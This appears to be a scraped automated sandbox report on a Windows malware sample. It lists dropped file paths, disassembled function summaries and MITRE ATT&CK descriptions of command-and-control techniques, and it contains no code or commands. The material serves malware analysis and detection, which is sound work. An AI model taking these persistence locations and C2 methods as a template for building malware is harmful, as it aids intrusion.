Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ClinkAPI.dll

C:\Users\user\AppData\Local\Temp\1158250036 (copy)

C:\Users\user\AppData\Local\Temp\2QQdaM2Nxw.bak

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\AppData\Roaming\awsip\cloudx23748.ip

C:\Users\user\AppData\Roaming\clinkm2.data

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Function 02B7A26E Relevance: 9.7, APIs: 6, Instructions: 666
processCOMMON

Function 02B0D790 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Function 02B0BD21 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Function 02B78759 Relevance: 1.6, APIs: 1, Instructions: 100
nativeCOMMON

Function 02B0D740 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Function 02BB4EA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Function 02B0DAB0 Relevance: 6.0, APIs: 4, Instructions: 43
fileCOMMON

Function 02BB5220 Relevance: 6.0, APIs: 4, Instructions: 43
fileCOMMON

Function 02B7DA58 Relevance: 4.8, APIs: 3, Instructions: 295
processCOMMON

Function 02B78C9C Relevance: 4.8, APIs: 3, Instructions: 277
stringCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre